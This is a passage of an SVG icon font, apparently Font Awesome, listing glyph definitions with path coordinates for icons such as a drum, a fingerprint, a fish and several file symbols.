248s111 248 248 248zM152 233.4l28.7002 -28.7002c14.7002 -14.7998 37.7998 7.39941 22.5996 22.5996l-28.7002 28.7002l28.7002 28.7002c15 14.8994 -7.59961 37.5996 -22.5996 22.5996 +l-28.7002 -28.7002l-28.7002 28.7002c-14.8994 15 -37.5996 -7.59961 -22.5996 -22.5996l28.7002 -28.7002l-28.7002 -28.7002c-15.2002 -15.0996 7.7998 -37.3994 22.5996 -22.5996zM248 32c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64s-64 -28.7002 -64 -64 +s28.7002 -64 64 -64zM395.3 227.3l-28.7002 28.7002l28.7002 28.7002c15 14.8994 -7.59961 37.5996 -22.5996 22.5996l-28.7002 -28.7002l-28.7002 28.7002c-14.8994 15 -37.5996 -7.59961 -22.5996 -22.5996l28.7002 -28.7002l-28.7002 -28.7002 +c-15.2002 -15.0996 7.7998 -37.3994 22.5996 -22.5996l28.7002 28.7002l28.7002 -28.7002c14.7002 -14.7998 37.7998 7.39941 22.5996 22.5996z" /> + <glyph glyph-name="drafting-compass" unicode="" +d="M457.01 103.58l54.9805 -95.2305l-7.02051 -58.25c-1.2793 -10.5898 -12.3594 -16.9893 -22.1699 -12.7998l-53.9502 23.04l-54.3799 94.1904c29.9102 11.8701 57.4902 28.7197 82.54 49.0498zM499.5 198.14c-52.6201 -83.1299 -144.45 -134.14 -243.5 -134.14 +c-35.3799 0 -69.8701 6.71973 -102.06 18.96l-70.8008 -122.63l-53.9492 -23.04c-9.81055 -4.19043 -20.8906 2.20996 -22.1709 12.7998l-7.01953 58.25l71.2803 123.46c-21.29 17.8105 -40.4102 38.3799 -55.9805 62.0205 +c-4.99023 7.56934 -2.20996 17.9297 5.64062 22.4697l27.75 16.0703c7.40918 4.29004 16.5898 1.76953 21.3799 -5.33008c9.71973 -14.4102 21.1299 -27.3906 33.6797 -39l68.2998 118.31c-7.43945 13.6299 -12.0498 29.0303 -12.0498 45.6602c0 53.0195 42.9805 96 96 96 +s96 -42.9805 96 -96c0 -16.6299 -4.61035 -32.0303 -12.0596 -45.6602l51.79 -89.71c-23.0508 -23.1699 -51.3809 -39.96 -82.6104 -48.9199l-51.0898 88.5c-0.69043 -0.0195312 -1.33984 -0.209961 -2.04004 -0.209961s-1.33984 0.19043 -2.04004 0.209961 +l-67.3604 -116.68c22.1797 -7.28027 45.4805 -11.5303 69.4102 -11.5303c76.25 0 147.01 38.8496 188.12 102.38c4.64941 7.17969 13.7803 9.87012 21.2598 5.71973l28.0703 -15.5693c7.93945 -4.40039 10.9102 -14.7207 6.0498 -22.3906zM256 384 +c-17.6699 0 -32 -14.3301 -32 -32s14.3301 -32 32 -32s32 14.3301 32 32s-14.3301 32 -32 32z" /> + <glyph glyph-name="drum" unicode="" +d="M431.34 325.95c44.9004 -16.3398 80.6602 -42.7803 80.6602 -86.1006v-160.229c0 -30.2705 -27.5 -57.6797 -72 -77.8604v101.9c0 13.2461 -10.7539 24 -24 24s-24 -10.7539 -24 -24v-118.93c-33.0498 -9.11035 -71.0703 -15.0605 -112 -16.7305v103.61 +c0 13.2461 -10.7539 24 -24 24s-24 -10.7539 -24 -24v-103.61c-40.9297 1.66992 -78.9502 7.62012 -112 16.7305v118.93c0 13.2461 -10.7539 24 -24 24s-24 -10.7539 -24 -24v-101.9c-44.5 20.1807 -72 47.5898 -72 77.8604v160.229c0 107.601 219.55 112.15 256 112.15 +c15.2197 0 62.4297 -0.910156 112.19 -9.69043l110.06 71c2.53711 1.69238 5.59082 2.7041 8.86621 2.7041c5.55664 0 10.4551 -2.83887 13.3242 -7.14355l8.86914 -13.3105c1.69238 -2.53711 2.7041 -5.58984 2.7041 -8.86523 +c0 -5.55664 -2.83887 -10.4561 -7.14355 -13.3242zM256 175.76c114.87 0 208 28.6904 208 64.0898c0 21.3105 -33.9102 40.1504 -85.8604 51.75l-118.64 -76.5195c-2.53711 -1.69141 -5.59082 -2.7041 -8.86621 -2.7041c-5.55664 0 -10.4551 2.83887 -13.3242 7.14355 +l-8.86914 13.3105c-1.69434 2.53809 -2.70703 5.59277 -2.70703 8.87012c0 5.55371 2.83594 10.4502 7.13672 13.3193l72.8096 47c-15.9492 1.2002 -32.5293 1.91016 -49.6797 1.91016c-114.88 0 -208 -28.6797 -208 -64.0801c0 -35.3994 93.1201 -64.0898 208 -64.0898z +" /> + <glyph glyph-name="drum-steelpan" unicode="" horiz-adv-x="576" +d="M288 416c159.06 0 288 -57.3096 288 -128v-192c0 -70.6904 -128.94 -128 -288 -128s-288 57.3096 -288 128v192c0 70.6904 128.94 128 288 128zM205.01 257.64c5.11035 19.0605 2.49023 38.96 -7.37012 56.0508l-25.5996 44.3398 +c-73.9297 -13.6406 -124.04 -39.8701 -124.04 -70.0303c0 -30.7803 52.2305 -57.46 128.7 -70.8398c13.7695 9.91016 23.8594 23.8701 28.3096 40.4795zM288 208c21.0801 0 41.4102 1 60.8896 2.7002c-8.05957 26.1299 -32.1494 45.2998 -60.8896 45.2998 +s-52.8301 -19.1699 -60.8896 -45.2998c19.4795 -1.7002 39.8096 -2.7002 60.8896 -2.7002zM352 352v13.04c-20.4004 1.87988 -41.7998 2.95996 -64 2.95996s-43.5996 -1.08008 -64 -2.95996v-13.04c0 -35.29 28.71 -64 64 -64s64 28.71 64 64zM398.93 217.1 +c76.6699 13.3604 129.07 40.0703 129.07 70.9004c0 30.21 -50.2803 56.5 -124.44 70.0996l-25.6494 -44.4199c-9.87012 -17.0801 -12.4902 -36.9795 -7.37988 -56.04c4.45996 -16.6396 14.5898 -30.6299 28.3994 -40.54z" /> + <glyph glyph-name="feather-alt" unicode="" +d="M512 448c-1.80957 -26.2598 -11.71 -132.86 -53.6201 -234.79l-106.54 -53.21h81.1406c-9.08008 -16.4102 -19.2002 -32.2305 -30.4502 -47.1201l-146.79 -48.8799h100.95c-35.5605 -30.0703 -79.1006 -51.0996 -132.58 -56.54 +c-41.8105 -4.83008 -83.8701 -7.21973 -125.96 -7.36035l-57.1309 -57.0693c-9.38965 -9.37012 -24.5996 -9.37012 -33.9795 0s-9.37988 24.5693 0 33.9395l259.5 259.24c6.25 6.25 6.25 16.3799 0 22.6299s-16.4004 6.25 -22.6504 0l-178.87 -178.689 +c1.15039 26.7998 2.90039 53.5801 5.99023 80.2393c25.4307 249.41 389.21 284.051 440.99 287.61z" /> + <glyph glyph-name="file-contract" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM64 376v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8 +h-80c-4.41992 0 -8 -3.58008 -8 -8zM64 312v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8zM256.81 64c-4.19922 0 -8.13965 2.44043 -10.1592 6.5 +c-11.9502 23.8604 -46.2305 30.3496 -66 14.1602l-13.8809 41.6396c-3.28906 9.82031 -12.4297 16.4102 -22.7695 16.4102s-19.4805 -6.59961 -22.7803 -16.4102l-18.1895 -54.6396c-1.53027 -4.58008 -5.81055 -7.66016 -10.6406 -7.66016h-12.3896 +c-8.83984 0 -16 -7.16016 -16 -16s7.16016 -16 16 -16h12.3896c18.6201 0 35.1104 11.8701 41 29.5303l10.6104 31.8799l16.8301 -50.46c2.03027 -6.14062 7.58008 -10.4404 14.0303 -10.8906c0.389648 -0.0292969 0.759766 -0.0498047 1.13965 -0.0498047 +c0.00390625 0 -0.00292969 -0.015625 0.000976562 -0.015625c6.26074 0 11.6865 3.60742 14.3086 8.85547l7.6709 15.3408c2.7998 5.59961 7.93945 6.18945 10.0195 6.18945s7.21973 -0.599609 10.1699 -6.51953c7.37012 -14.7207 22.1904 -23.8604 38.6396 -23.8604 +h47.1904c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16h-47.1904zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7z" /> + <glyph glyph-name="file-download" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM300.45 100.64c10.1299 10.0703 3.00977 27.3604 -11.2705 27.3604h-65.1797v80 +c0 8.83984 -7.16016 16 -16 16h-32c-8.83984 0 -16 -7.16016 -16 -16v-80h-65.1797c-14.2803 0 -21.4004 -17.29 -11.25 -27.3604l96.4199 -95.6992c6.64941 -6.61035 17.3896 -6.61035 24.04 0zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961 +c6.40039 0 12.5 -2.5 17 -7z" /> + <glyph glyph-name="file-export" unicode="" horiz-adv-x="576" +d="M384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004zM571 140c6.59961 -6.59961 6.59961 -17.4004 0 -24l-95.7002 -96.5c-10.0996 -10.0996 -27.3994 -3 -27.3994 11.2998v65.2002h-64v64h64v65.0996 +c0 14.3008 17.2998 21.4004 27.3994 11.3008zM192 112c0 -8.7998 7.2002 -16 16 -16h176v-136c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136c0 -13.2002 10.7998 -24 24 -24h136v-128h-176 +c-8.7998 0 -16 -7.2002 -16 -16v-32z" /> + <glyph glyph-name="file-import" unicode="" +d="M16 160h112v-64h-112c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16zM505 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM352 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24 +h-336c-13.2998 0 -24 10.7002 -24 24v136h127.9v-65.0996c0 -14.3008 17.2998 -21.4004 27.3994 -11.3008l95.7002 96.4004c6.59961 6.59961 6.59961 17.2998 0 24l-95.5996 96.5c-10.1006 10.0996 -27.4004 3 -27.4004 -11.2998v-65.2002h-128v264 +c0 13.2998 10.7002 24 24 24h200v-136z" /> + <glyph glyph-name="file-invoice" unicode="" horiz-adv-x="384" +d="M288 192v-64h-192v64h192zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464 +c0 13.2998 10.7002 24 24 24h200v-136zM64 376v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8zM64 312v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16 +c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8zM320 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8zM320 208c0 8.83984 -7.16016 16 -16 16h-224 +c-8.83984 0 -16 -7.16016 -16 -16v-96c0 -8.83984 7.16016 -16 16 -16h224c8.83984 0 16 7.16016 16 16v96z" /> + <glyph glyph-name="file-invoice-dollar" unicode="" horiz-adv-x="384" +d="M377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136z +M64 376v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8zM64 296c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8 +v-16zM208 32.1201c23.6201 0.629883 42.6699 20.54 42.6699 45.0703c0 19.9697 -12.9902 37.8096 -31.5801 43.3896l-45 13.5c-5.16016 1.54004 -8.76953 6.78027 -8.76953 12.7295c0 7.27051 5.2998 13.1904 11.7998 13.1904h28.1104 +c4.55957 0 8.94922 -1.29004 12.8193 -3.71973c3.24023 -2.03027 7.36035 -1.91016 10.1299 0.729492l11.75 11.21c3.53027 3.37012 3.33008 9.20996 -0.569336 12.1406c-9.10059 6.83984 -20.0801 10.7695 -31.3701 11.3496v24.29c0 4.41992 -3.58008 8 -8 8h-16 +c-4.41992 0 -8 -3.58008 -8 -8v-24.1201c-23.6201 -0.629883 -42.6699 -20.5498 -42.6699 -45.0703c0 -19.9697 12.9893 -37.8096 31.5801 -43.3896l45 -13.5c5.15918 -1.54004 8.76953 -6.78027 8.76953 -12.7295c0 -7.27051 -5.2998 -13.1904 -11.7998 -13.1904h-28.1104 +c-4.55957 0 -8.9502 1.2998 -12.8193 3.71973c-3.24023 2.03027 -7.36035 1.91016 -10.1309 -0.729492l-11.75 -11.21c-3.5293 -3.37012 -3.3291 -9.20996 0.570312 -12.1406c9.10059 -6.83008 20.0801 -10.7695 31.3701 -11.3496v-24.29c0 -4.41992 3.58008 -8 8 -8h16 +c4.41992 0 8 3.58008 8 8v24.1201z" /> + <glyph glyph-name="file-prescription" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM292.53 132.52c-6.25 6.25 -16.3799 6.25 -22.6299 0l-29.9004 -29.8994l-33.46 33.46 +c19.8398 10.8701 33.46 31.7002 33.46 55.9199c0 35.3496 -28.6504 64 -64 64h-80c-8.83984 0 -16 -7.16016 -16 -16v-160c0 -8.83984 7.16016 -16 16 -16h16c8.83984 0 16 7.16016 16 16v48h18.7402l59.3193 -59.3096l-30.0596 -30.0605 +c-6.25 -6.25 -6.25 -16.3799 0 -22.6299l11.3096 -11.3096c6.25 -6.25 16.3809 -6.25 22.6309 0l30.0596 30.0596l30.0596 -30.0703c6.25 -6.25 16.3809 -6.25 22.6309 0l11.3096 11.3105c6.25 6.25 6.25 16.3799 0 22.6299l-30.0596 30.0596l29.8994 29.9004 +c6.25 6.25 6.25 16.3799 0 22.6299zM176 176h-48v32h48c8.82031 0 16 -7.17969 16 -16s-7.17969 -16 -16 -16zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" /> + <glyph glyph-name="file-signature" unicode="" horiz-adv-x="576" +d="M218.17 23.8604c7.25 -14.4707 21.71 -23.4404 37.8301 -23.75l128 -0.110352v-40c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136c0 -13.2002 10.7998 -24 24 -24h136.01v-46.5498l-128 -127.09 +v-82.1201c-3.87012 0.30957 -7.46973 2.47949 -9.35938 6.25977c-11.9404 23.8604 -46.25 30.3496 -66 14.1602l-13.8809 41.6396c-3.28906 9.82031 -12.4297 16.4102 -22.7695 16.4102s-19.4805 -6.59961 -22.7803 -16.4102l-18.1895 -54.6396 +c-1.53027 -4.58008 -5.81055 -7.66016 -10.6406 -7.66016h-12.3896c-8.83984 0 -16 -7.16016 -16 -16s7.16016 -16 16 -16h12.3896c18.6201 0 35.1104 11.8701 41 29.5303l10.6104 31.8799l16.8301 -50.4697c4.4502 -13.46 23.1104 -14.8701 29.4795 -2.09082 +l7.6709 15.3408c2.7998 5.59961 7.93945 6.18945 10.0195 6.18945s7.21973 -0.599609 10.1699 -6.51953zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004zM288 101.04l162.79 161.62l67.8799 -67.8799 +l-161.68 -162.78h-68.9902v69.04zM568.54 280.67c9.9502 -9.93945 9.9502 -26.0703 0 -36.0098l-27.25 -27.25l-67.8799 67.8799l27.25 27.25c9.93945 9.94043 26.0703 9.94043 36.0098 0z" /> + <glyph glyph-name="file-upload" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM289.18 95.9902c14.2803 0 21.4004 17.29 11.25 27.3594l-96.4199 95.7002 +c-6.64941 6.61035 -17.3896 6.61035 -24.04 0l-96.4199 -95.7002c-10.1396 -10.0693 -3.00977 -27.3594 11.2705 -27.3594h65.1797v-80c0 -8.83984 7.16016 -16 16 -16h32c8.83984 0 16 7.16016 16 16v80h65.1797zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128 +v128h6.09961c6.40039 0 12.5 -2.5 17 -7z" /> + <glyph glyph-name="fill" unicode="" +d="M502.63 230.94c12.4902 -12.5 12.4902 -32.7607 0 -45.2607l-221.57 -221.569c-18.75 -18.75 -43.3096 -28.1201 -67.8799 -28.1201c-24.5596 0 -49.1201 9.37988 -67.8701 28.1201l-117.189 117.189c-37.4902 37.4902 -37.4902 98.2598 0 135.75l94.7598 94.7598 +l-86.1895 86.1807c-6.24023 6.25 -6.24023 16.3799 0 22.6299l22.6191 22.6104c6.24023 6.25 16.3809 6.25 22.6201 0l86.1807 -86.1807l81.5801 81.5801c6.23926 6.25 14.4297 9.37012 22.6191 9.37012c8.19043 0 16.3809 -3.12012 22.6309 -9.37012zM386.41 159.97 +l48.3496 48.3398l-162.45 162.44l-58.9492 -58.9502l58.6094 -58.5996c12.4902 -12.4902 12.4902 -32.75 0 -45.2402c-12.4893 -12.4902 -32.75 -12.4902 -45.2393 0l-58.6104 58.5996l-81.6104 -81.6094l-13.1494 -13.1504 +c-3.86035 -3.84961 -6.07031 -7.99023 -7.43066 -11.8301h320.48z" /> + <glyph glyph-name="fill-drip" unicode="" horiz-adv-x="576" +d="M512 128c0 0 64 -92.6504 64 -128s-28.6602 -64 -64 -64s-64 28.6504 -64 64s64 128 64 128zM502.63 230.94c12.4902 -12.5 12.4902 -32.75 -0.00976562 -45.25l-221.57 -221.57c-18.7402 -18.75 -43.2998 -28.1201 -67.8701 -28.1201 +c-24.5596 0 -49.1299 9.37988 -67.8701 28.1201l-117.189 117.189c-37.4902 37.4902 -37.4902 98.2705 0 135.75l94.7598 94.7607l-86.1895 86.1797c-6.24023 6.24023 -6.24023 16.3701 0 22.6201l22.6191 22.6201c6.24023 6.25 16.3701 6.25 22.6201 0l86.1807 -86.1904 +l81.5801 81.5801c6.23926 6.25 14.4297 9.37012 22.6191 9.37012c8.19043 0 16.3809 -3.12012 22.6309 -9.37012zM386.41 159.97l48.3398 48.3398l-162.44 162.44l-58.9492 -58.9502l58.5996 -58.5996c12.4902 -12.4902 12.4902 -32.75 0 -45.2402 +s-32.75 -12.4902 -45.2402 0l-58.5996 58.5996l-81.6104 -81.6094l-13.1494 -13.1504c-3.86035 -3.84961 -6.07031 -7.99023 -7.43066 -11.8301h320.48z" /> + <glyph glyph-name="fingerprint" unicode="" +d="M256.12 202.04c13.2598 0 24 -10.75 23.9902 -24c1.55957 -99.1104 -15.9502 -176.61 -29.4805 -224.521c-2.97949 -10.5996 -12.6104 -17.5195 -23.0898 -17.5195c-20.9697 0 -25.8496 20.7695 -23.1201 30.4902c19.5605 69.6494 28.8398 139.3 27.7002 211.55 +c0 13.2598 10.75 24 24 24zM255.26 283.77c56.9707 -0.839844 104.03 -46.9199 104.91 -102.72c0.790039 -50.8994 -2.99023 -102.08 -11.2695 -152.109c-0.770508 -4.6709 -7.61035 -23.1006 -27.5801 -19.7705c-13.0703 2.16016 -21.9307 14.5205 -19.7607 27.5801 +c7.80078 47.2197 11.3809 95.5 10.6104 143.55c-0.469727 30.1299 -26.3096 55 -57.6201 55.4697c-34.5303 0.150391 -54.8594 -26.3896 -54.4502 -52.3398c0.800781 -51.4395 -4.0293 -102.93 -14.3691 -153.02c-2.69043 -12.9805 -15.3105 -21.3105 -28.3604 -18.6406 +c-12.9697 2.6709 -21.3301 15.3809 -18.6396 28.3604c9.61914 46.6396 14.1191 94.6104 13.3691 142.55c-0.849609 54.0205 41.9004 101.16 103.16 101.09zM144.57 303.55c10.2793 -8.37012 11.8398 -23.4795 3.48926 -33.7598 +c-18.7998 -23.0898 -28.4697 -51.0898 -28 -80.9697c0.640625 -40.6699 -2.66992 -81.4902 -9.85938 -121.33c-0.820312 -4.5498 -7.78027 -22.8604 -27.8906 -19.3604c-13.0498 2.36035 -21.6992 14.8398 -19.3594 27.8896c6.63965 36.7803 9.7002 74.4707 9.10938 112.051 +c-0.639648 40.7197 13.1309 80.5 38.75 112c8.39062 10.2793 23.46 11.8193 33.7607 3.47949zM254.04 365.88c101.09 -1.5 184.6 -83.0801 186.16 -181.83c0.0751953 -4.88281 0.147461 -8.55371 0.147461 -13.4551c0 -35.9766 -2.0498 -71.4785 -6.03809 -106.395 +c-1.06934 -9.23047 -9.85938 -23.0605 -26.5791 -21.1104c-13.1602 1.5 -22.6104 13.4102 -21.1104 26.5801c4.2998 37.5205 6.16992 75.75 5.58008 113.63c-1.15039 73.0801 -63.4502 133.45 -138.88 134.58c-11.5303 0.0800781 -22.9502 -1.08008 -34 -3.68945 +c-12.8906 -3 -25.8301 4.93945 -28.8906 17.8291c-3.04004 12.9102 4.94043 25.8301 17.8301 28.8906c14.9102 3.53027 30.3701 5.37988 45.7803 4.96973zM506.11 244.43c6.22949 -28.2295 6.00977 -50.1602 5.83008 -72.3398 +c-0.110352 -13.1895 -10.8301 -23.7998 -24 -23.7998h-0.200195c-13.25 0.110352 -23.9102 10.9297 -23.7998 24.2002c0.209961 24.1895 0.00976562 40.1895 -4.7002 61.5996c-2.86035 12.9502 5.31934 25.75 18.2598 28.6104 +c13.0996 2.92969 25.75 -5.35059 28.6104 -18.2705zM465.99 335.15c7.62012 -10.8408 5 -25.8105 -5.83984 -33.4307c-10.8604 -7.58984 -25.8105 -5 -33.4199 5.86035c-39.8906 56.8301 -105.171 91.3604 -174.62 92.3896 +c-56.3408 0.810547 -108.92 -20.0596 -147.681 -58.8594c-37.1201 -37.1406 -57.1094 -86.5 -56.2793 -139l-0.160156 -23.6406c-0.379883 -13 -11.0498 -23.2998 -23.9707 -23.2998c-0.239258 0 -0.489258 0 -0.719727 0.0205078 +c-13.25 0.379883 -23.6699 11.4395 -23.2803 24.6895l0.120117 21.4697c-1.04004 65.6104 23.9502 127.28 70.3203 173.71c48.0098 48.0303 112.56 73.7607 182.35 72.9209c84.79 -1.27051 164.48 -43.4404 213.181 -112.83z" /> + <glyph glyph-name="fish" unicode="" horiz-adv-x="576" +d="M327.1 352c137.46 0 248.9 -128 248.9 -160s-111.44 -160 -248.9 -160c-89.9697 0 -168.55 54.7695 -212.279 101.62l-87.3301 -66.0498c-12.1299 -9.16992 -30.2402 0.599609 -27.1406 14.6602l24.1904 109.77l-24.1797 109.76 +c-3.10059 14.0605 15.0098 23.8398 27.1396 14.6602l87.3301 -66.0498c43.7295 46.8604 122.3 101.63 212.27 101.63zM414.53 168c13.25 0 24 10.75 24 24c0 13.2598 -10.7402 24 -24 24c-13.25 0 -24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" /> + <glyph glyph-name="flushed" unicode="" horiz-adv-x="496" +d="M344 248c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM152 248c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248 +s-248 111 -248 248s111 248 248 248zM80 224c0 -39.7998 32.2002 -72 72 -72s72 32.2002 72 72s-32.2002 72 -72 72s-72 -32.2002 -72 -72zM312 48c21.2002 0 21.2002 32 0 32h-128c-21.2002 0 -21.2002 -32 0 -32h128zM344 152c39.7998 0 72 32.2002 72 72 +s-32.2002 72 -72 72s-72 -32.2002 -72 -72s32.2002 -72 72 -72z" /> + <glyph glyph-name="frown-open" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM136 240c0 -17.7002 14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32zM323.3 56.7002c11.4004 -3.5 22.5 6.2002 20.5 18.0996 +c-7 39.9004 -60.0996 61.2002 -95.7998 61.2002s-88.7998 -21.2002 -95.7998 -61.2002c-2 -11.7998 9 -21.5996 20.5 -18.0996c31.2002 9.59961 59.3994 15.2998 75.2998 15.2998s44.0996 -5.7002 75.2998 -15.2998zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32 +s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="glass-martini-alt" unicode="" +d="M502.05 390.4l-214.05 -214.04v-192.36h56c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-240c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h56v192.36l-214.05 214.04c-21.25 21.2598 -6.2002 57.5996 23.8496 57.5996h444.4 +c30.0498 0 45.0996 -36.3398 23.8496 -57.5996zM443.77 400h-375.529l48 -48h279.529z" /> + <glyph glyph-name="globe-africa" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM408 224.5c0 8.55957 6.94043 15.5 15.5 15.5h18.4297c-19.0693 76.9805 -82.6992 136.37 -161.92 149.21v-21.7002c0 -8.55957 -6.93945 -15.5 -15.5 -15.5 +h-24.21c-5.17969 0 -10.0195 -2.58984 -12.8896 -6.89941l-8.08008 -12.1104c-2.13965 -3.20996 -5.40039 -5.5 -9.13965 -6.44043l-14.4502 -3.60938c-6.90039 -1.73047 -11.7402 -7.93066 -11.7402 -15.04v-4.40039c0 -8.55957 6.94043 -15.5 15.5 -15.5h90.0498 +l0.00488281 0.00195312c4.27637 0 8.15039 -1.73633 10.9551 -4.54199l6.91992 -6.91992c2.91016 -2.91016 6.85059 -4.54004 10.96 -4.54004h10.0908c8.55957 0 15.5 -6.93945 15.5 -15.5c0 -6.66992 -4.27051 -12.5898 -10.6006 -14.7002l-47.3096 -15.7695 +c-3.90039 -1.2998 -8.15039 -1 -11.8301 0.839844l-14.7207 7.36035c-7.5791 3.7998 -15.9492 5.76953 -24.4297 5.76953h-0.889648c-12.2734 -0.00292969 -23.6533 -4.08594 -32.7803 -10.9297l-27.5801 -20.6904c-13.75 -10.3193 -21.8496 -26.5098 -21.8496 -43.6992 +v-14.0605c0.00292969 -15.0742 6.11328 -28.7393 16 -38.6299c10.25 -10.2402 24.1396 -16 38.6299 -16h25.8799c8.55957 0 15.5 -6.94043 15.5 -15.5v-29.8896c0 -12.6504 3.0293 -24.6885 8.33008 -35.29c4.7002 -9.40039 14.3096 -15.3398 24.8203 -15.3398 +c9.63477 0.000976562 18.1133 4.89551 23.0898 12.3594l13.0293 19.5498c7.18359 10.7715 15.4854 20.4473 25 29.1602c2.4707 2.27051 4.14062 5.27051 4.76074 8.56055l4.2998 22.8301c0.439453 2.3291 1.41016 4.5293 2.83008 6.42969l18.7402 24.9795 +c2.00977 2.68066 3.09961 5.9502 3.09961 9.30078v11.3398c0 8.55957 -6.94043 15.5 -15.5 15.5h-8.20996c-5.17969 0 -10.0205 2.58984 -12.8896 6.89941l-13.2402 19.8604c-5.66992 8.50977 -1.70996 20.0703 7.99023 23.2998l2.64941 0.879883 +c1.53906 0.511719 3.20312 0.78418 4.91309 0.78418c3.17383 0 6.12695 -0.955078 8.58691 -2.59375l18.21 -12.1396c2.45801 -1.6416 5.44043 -2.59863 8.61523 -2.59863c2.48438 0 4.83301 0.585938 6.91504 1.62793l15.3896 7.7002 +c5.25 2.62012 8.57031 7.99023 8.57031 13.8604v6.92969z" /> + <glyph glyph-name="globe-americas" unicode="" horiz-adv-x="496" +d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM330.29 82.4004c8.47363 8.42676 13.7158 20.0977 13.7197 32.9795l0.00488281 0.00976562c0 8.41504 -3.41602 16.0391 -8.93457 21.5605l-13.6904 13.6895 +c-6.00977 6 -14.1396 9.37012 -22.6299 9.37012h-66.75c-9.41016 4.70996 -21.4795 32 -32 32c-10.5195 0 -20.8994 2.4502 -30.3096 7.16016l-11.0801 5.54004c-4.0498 2.03027 -6.61035 6.16016 -6.61035 10.6904h-0.00195312c0 5.27539 3.42578 9.75684 8.17188 11.3398 +l31.1699 10.3896c1.58887 0.52832 3.29785 0.81543 5.0625 0.81543c4.00977 0 7.67676 -1.47656 10.4883 -3.91504l9.2793 -8.06055c1.4502 -1.25977 3.31055 -1.95996 5.24023 -1.95996h5.63965c5.94043 0 9.81055 6.25977 7.15039 